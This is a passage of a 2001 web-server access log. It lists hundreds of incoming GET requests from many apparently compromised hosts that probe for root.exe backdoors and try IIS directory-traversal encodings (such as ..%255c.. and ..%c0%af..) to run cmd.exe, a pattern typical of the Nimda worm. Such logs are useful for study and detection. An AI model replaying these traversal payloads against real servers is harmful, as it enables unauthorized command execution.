  2746. 20010918 11:36:45:  [203.197.237.163] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2747. 20010918 11:37:05:  [128.172.99.136] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2748. 20010918 11:37:23:  [203.197.237.163] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2749. 20010918 11:37:42:  [128.172.99.136] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2750. 20010918 11:38:00:  [203.197.237.163] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2751. 20010918 11:38:18:  [128.172.99.136] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2752. 20010918 11:38:36:  [203.197.237.163] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2753. 20010918 11:38:54:  [128.172.99.136] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2754. 20010918 11:39:13:  [203.197.237.163] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2755. 20010918 11:39:31: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2756. 20010918 11:39:31:  [128.172.99.136] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2757. 20010918 11:39:49: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2758. 20010918 11:39:49:  [128.172.99.136] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2759. 20010918 11:40:07: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2760. 20010918 11:40:07:  [128.172.99.136] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2761. 20010918 11:40:25: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2762. 20010918 11:40:25:  [128.172.99.136] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2763. 20010918 11:40:44: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2764. 20010918 11:40:44: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2765. 20010918 11:40:44:  [128.172.99.136] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2766. 20010918 11:41:02: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2767. 20010918 11:41:02: car.eng.ohio-state.edu [128.146.169.11] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2768. 20010918 11:41:02:  [128.172.99.136] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2769. 20010918 11:41:20: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2770. 20010918 11:41:20: car.eng.ohio-state.edu [128.146.169.11] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2771. 20010918 11:41:20: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2772. 20010918 11:41:20:  [128.172.99.136] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2773. 20010918 11:41:38: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2774. 20010918 11:41:39: car.eng.ohio-state.edu [128.146.169.11] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2775. 20010918 11:41:39: msdweb1.ucns.uga.edu [128.192.6.9] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2776. 20010918 11:41:39:  [128.172.99.136] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2777. 20010918 11:41:57: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2778. 20010918 11:41:57: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2779. 20010918 11:41:57: msdweb1.ucns.uga.edu [128.192.6.9] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2780. 20010918 11:41:58:  [128.172.99.136] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2781. 20010918 11:42:16: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2782. 20010918 11:42:16: car.eng.ohio-state.edu [128.146.169.11] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2783. 20010918 11:42:16: msdweb1.ucns.uga.edu [128.192.6.9] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2784. 20010918 11:42:16:  [128.172.99.136] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2785. 20010918 11:42:34: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2786. 20010918 11:42:34: car.eng.ohio-state.edu [128.146.169.11] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2787. 20010918 11:42:34: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2788. 20010918 11:42:34:  [128.172.99.136] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2789. 20010918 11:42:53: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2790. 20010918 11:42:53: car.eng.ohio-state.edu [128.146.169.11] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2791. 20010918 11:42:53: msdweb1.ucns.uga.edu [128.192.6.9] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2792. 20010918 11:42:53:  [128.172.99.136] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2793. 20010918 11:43:11: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2794. 20010918 11:43:11: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2795. 20010918 11:43:11: msdweb1.ucns.uga.edu [128.192.6.9] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2796. 20010918 11:43:11: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2797. 20010918 11:43:11: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2798. 20010918 11:43:11: msdweb1.ucns.uga.edu [128.192.6.9] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2799. 20010918 11:43:11: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2800. 20010918 11:43:11: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2801. 20010918 11:43:11: d-128-162-72.bootp.Virginia.EDU [128.143.162.72] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2802. 20010918 11:43:11: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2803. 20010918 11:43:11: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2804. 20010918 11:43:11: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2805. 20010918 11:43:12: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2806. 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2807. 20010918 11:43:12: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2808. 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2809. 20010918 11:43:12: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2810. 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2811. 20010918 11:43:12: car.eng.ohio-state.edu [128.146.169.11] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2812. 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2813. 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2814. 20010918 11:43:12: msdweb1.ucns.uga.edu [128.192.6.9] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2815. 20010918 11:43:13: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2816. 20010918 11:44:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2817. 20010918 11:44:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2818. 20010918 11:44:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2819. 20010918 11:44:42: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2820. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2821. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2822. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2823. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2824. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2825. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2826. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2827. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2828. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2829. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2830. 20010918 11:44:43: dynamic-25-126.dyn.columbia.edu [128.59.25.126] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2831. 20010918 11:44:43: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2832. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2833. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2834. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2835. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2836. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2837. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2838. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2839. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2840. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2841. 20010918 11:45:12: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2842. 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2843. 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2844. 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2845. 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2846. 20010918 11:45:13: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2847. 20010918 11:45:13: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2848. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2849. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2850. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2851. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2852. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2853. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2854. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2855. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2856. 20010918 11:48:04: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2857. 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2858. 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2859. 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2860. 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2861. 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2862. 20010918 11:48:05: bus84-160.gsb.columbia.edu [128.59.84.160] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2863. 20010918 11:48:05:  [128.134.176.53] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2864. 20010918 11:51:11: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2865. 20010918 11:52:53: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2866. 20010918 11:52:53: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2867. 20010918 11:52:54: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2868. 20010918 11:52:54: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2869. 20010918 11:52:54: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2870. 20010918 11:52:54: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2871. 20010918 11:52:55: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2872. 20010918 11:52:55: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2873. 20010918 11:52:55: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2874. 20010918 11:52:55: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2875. 20010918 11:52:56: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2876. 20010918 11:52:56: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2877. 20010918 11:52:56: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2878. 20010918 11:52:56: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2879. 20010918 11:52:57: BAFMail.BAF.ORST.EDU [128.193.30.81] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2880. 20010918 11:52:57: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2881. 20010918 11:54:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2882. 20010918 11:54:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2883. 20010918 11:54:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2884. 20010918 11:54:37: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2885. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2886. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2887. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2888. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2889. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2890. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2891. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2892. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2893. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2894. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2895. 20010918 11:54:38: tfh-office.phys.columbia.edu [128.59.132.194] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2896. 20010918 11:54:38: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2897. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2898. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2899. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2900. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2901. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2902. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2903. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2904. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2905. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2906. 20010918 11:58:18: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2907. 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2908. 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2909. 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2910. 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2911. 20010918 11:58:19: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2912. 20010918 11:58:19: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/root.exe?/c+dir HTTP/1.0"
  2913. 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /MSADC/root.exe?/c+dir HTTP/1.0"
  2914. 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2915. 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2916. 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2917. 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2918. 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2919. 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2920. 20010918 11:58:37: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2921. 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2922. 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2923. 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2924. 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2925. 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
  2926. 20010918 11:58:38: bus218-2.gsb.columbia.edu [128.59.218.2] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
